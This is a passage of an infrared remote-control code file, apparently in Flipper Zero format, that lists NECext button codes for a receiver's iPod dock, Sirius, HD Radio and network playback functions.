7F 01 00 00 -command: 04 00 00 00 -# -name: Z3_SOURCE:_OP_11 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 04 00 00 00 -# -name: SRCE:_Z4_PRESET_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 05 00 00 00 -# -name: Z4_SOURCE:_OP_11 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 05 00 00 00 -# -name: Z4_SOURCE:_OP_11 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 05 00 00 00 -# -name: OPERATION_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 06 00 00 00 -# -name: SRCE:_MZ_PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 06 00 00 00 -# -name: SRCE:_Z2_PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 07 00 00 00 -# -name: Z2_OPERATION_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 07 00 00 00 -# -name: Z2_OPERATION_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 07 00 00 00 -# -name: SRCE:_Z3_PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 08 00 00 00 -# -name: Z3_SOURCE:_OP_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 08 00 00 00 -# -name: Z3_SOURCE:_OP_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 08 00 00 00 -# -name: SRCE:_Z4_PRESET_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 09 00 00 00 -# -name: Z4_SOURCE:_OP_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 09 00 00 00 -# -name: Z4_SOURCE:_OP_12 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 09 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0A 00 00 00 -# -name: SIRIUS_PRESET_A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0A 00 00 00 -# -name: SIRIUS:_A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0A 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0B 00 00 00 -# -name: SIRIUS_PRESET_B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0B 00 00 00 -# -name: SIRIUS:_B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0B 00 00 00 -# -name: SIRIUS:_B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0B 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0C 00 00 00 -# -name: SIRIUS_PRESET_C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0C 00 00 00 -# -name: SIRIUS:_C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0C 00 00 00 -# -name: SIRIUS:_C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0C 00 00 00 -# -name: DOCK_BLUETOOTH_PAIR -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0D 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0D 00 00 00 -# -name: SIRIUS_PRESET_D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0D 00 00 00 -# -name: SIRIUS:_D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0D 00 00 00 -# -name: SIRIUS:_D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0D 00 00 00 -# -name: IPOD_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: IPOD_CURSOR_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: IPOD:_CURSOR_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: IPOD_MENU_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: DOCK_NAV_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: DOCK:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: SIRIUS_PRESET_E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: DOCK_MENU_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: IPOD:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: SIRIUS:_E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: IPOD:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: SIRIUS:_E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0E 00 00 00 -# -name: IPOD_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: IPOD:_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: SEARCH_ALL_CH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: SIRIUS:ALL_CH_SEARCH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: SIRIUS_MODE_ALL -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: SIRIUS_ALL_CH_SRCH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 0F 00 00 00 -# -name: IPOD_MENU_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: IPOD_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: IPOD:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: SEARCH_CATEGORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: DOCK:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: SIRIUS:CATEG._SEARCH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: SIRIUS_MODE_CATEGOR -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: DOCK_MENU_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: SIRIUS_CAT_SRCH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: IPOD:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: IPOD:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 10 00 00 00 -# -name: IPOD_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: IPOD_CURSOR_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: IPOD:_CURSOR_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: DOCK_NAV_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: SEARCH_PRESET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: DOCK:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: SIRIUS:PRESET_SEARCH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: IPOD:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: SIRIUS_MODE_PRESET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: DOCK_MENU_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: SIRIUS_PRESET_SRCH -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: IPOD:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 11 00 00 00 -# -name: IPOD_MENU_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: IPOD_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: IPOD:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: DOCK_NAV_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: DOCK:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: DOCK_MENU_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: IPOD:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: IPOD:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: NET:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 12 00 00 00 -# -name: IPOD_BLUETOOTH_OFF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 13 00 00 00 -# -name: IPOD_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: IPOD_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: IPOD:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: IPOD_MENU_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: DOCK_NAV_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: DOCK:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: DOCK_MENU_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: IPOD:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: IPOD:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 14 00 00 00 -# -name: IPOD_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: IPOD:_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: DOCK:_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: DOCK_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 15 00 00 00 -# -name: IPOD_REW(SEARCH) -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD:_REWIND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD:_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD_REWIND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: DOCK_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: DOCK:_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD:_SCAN_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD_SEARCH_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: DOCK_CONT_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD:_REWIND -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 17 00 00 00 -# -name: IPOD_FF(SEARCH) -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD:_FAST_FORWARD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD:_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD_FAST_FORWARD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: DOCK_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: DOCK_NAV_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: DOCK:_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD:_SCAN_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD_SEARCH_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: DOCK_CONT_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD:_FAST_FORWARD -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 18 00 00 00 -# -name: IPOD_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: IPOD:_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: DOCK_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: DOCK:_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: DOCK_CONT_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: IPOD:_PAUSE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1A 00 00 00 -# -name: IPOD_CHP/SKIP- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD:_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD:_SKIP- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: DOCK_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: DOCK:_SKIP- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD:_SKIP_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD_SKIP_BACK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: DOCK_CONT_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD:_SKIP- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: NET:_SKIP- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1B 00 00 00 -# -name: IPOD_CHP/SKIP+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD:_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD:_SKIP+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: DOCK_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: DOCK:_SKIP+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD:_SKIP_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD_SKIP_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: DOCK_CONT_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD:_SKIP+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: NET:_SKIP+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1C 00 00 00 -# -name: IPOD_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: IPOD:_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: DOCK_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: DOCK:_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: DOCK_CONT_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: IPOD:_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: NET:_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1D 00 00 00 -# -name: IPOD_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: IPOD:_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: DOCK_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: DOCK:_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: DOCK_CONT_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: IPOD:_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 1E 00 00 00 -# -name: NET_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: NET:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: NET/USB_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: HD_RADIO:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: NET:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: HD_RADIO:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 21 00 00 00 -# -name: NET_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: NET:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: NET/USB_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: HD_RADIO:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: NET:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: HD_RADIO:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 22 00 00 00 -# -name: NET_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: NET:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: NET/USB_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: HD_RADIO:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: NET:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: HD_RADIO:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 23 00 00 00 -# -name: NET_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: NET:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: NET/USB_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: HD_RADIO:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: NET:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: HD_RADIO:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 24 00 00 00 -# -name: NET_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: NET:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: NET/USB_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: HD_RADIO:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: NET:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: HD_RADIO:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 25 00 00 00 -# -name: NET_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: NET:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: NET/USB_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: HD_RADIO:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: NET:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: HD_RADIO:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 26 00 00 00 -# -name: NET_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: NET:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: NET/USB_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: HD_RADIO:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: NET:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: HD_RADIO:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 27 00 00 00 -# -name: NET_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: NET:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: NET/USB_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: HD_RADIO:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: NET:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: HD_RADIO:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 29 00 00 00 -# -name: HD_RADIO:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 29 00 00 00 -# -name: HD_RADIO:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 29 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2A 00 00 00 -# -name: HD_RADIO:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2A 00 00 00 -# -name: HD_RADIO:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2A 00 00 00 -# -name: NET_NUM_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: NET:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: NET:_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: NET/USB_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: HD_RADIO:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: NET_SETUP:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: HD_RADIO:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2C 00 00 00 -# -name: NET_TITLE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2D 00 00 00 -# -name: NET:_TITLE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2D 00 00 00 -# -name: NET_CURSOR_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: NET:_CURSOR_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: IPOD_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: NET/USB_NAV_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: USB_MENU_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: NET:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: NET:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2E 00 00 00 -# -name: NET_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2F 00 00 00 -# -name: NET:_MENU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2F 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2F 00 00 00 -# -name: HD_RADIO:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2F 00 00 00 -# -name: HD_RADIO:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 2F 00 00 00 -# -name: NET_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 30 00 00 00 -# -name: NET:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 30 00 00 00 -# -name: NET/USB_NAV_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 